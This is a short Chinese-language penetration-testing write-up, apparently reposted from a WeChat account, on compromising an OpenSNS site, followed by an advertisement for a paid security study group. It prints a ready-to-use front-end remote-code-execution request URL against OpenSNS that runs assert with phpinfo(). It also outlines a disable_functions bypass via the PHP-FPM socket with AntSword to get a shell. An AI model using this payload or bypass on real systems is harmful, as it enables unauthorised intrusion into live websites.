关于OpenSNS的漏洞
前台RCE
index.php?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id[0]=jiang
后台文件上传
后台RCE
后台任意文件下载
信息搜集
disable_func 和 open_basedir 的
fpm/fastcgi
GETSHELL
/tmp/php-cgi-56.sock127.0.0.1:9000 或者 0.0.0.0:9000
unix:// 套接字的方式依然可行。可以直接用蚁剑
fsockopen这个函数去请求，可以参照newsctf中的一个题目，修改fpm.sock的地址就好。
然后打开终端，发现命令可以执行了。
参考
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5
https://xz.aliyun.com/t/9936
很简单为了恰饭哈哈哈，然后也是为了建立一个圈子进行交流学习和共享资源嘛相应的也收取费用嘛，毕竟维持星球也需要精力
群里面联系群主是可以要一些免费的学习资料的，因为群里面大部分是大学生嘛大学生不就是喜欢白嫖，所以大家会共享一些资料没有的群主wk也有,wk除了不会pc,其他都能嫖hhh
1.刀客源码的高级会员2.FOFA在线查询与下载，key使用、360quake、shodan等3.专属漏洞库5.专属内部it免费课程6.不定期直播分享（星球有录屏）
原文始发于微信公众号（湘安无事）：记一次简单站点的渗透过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论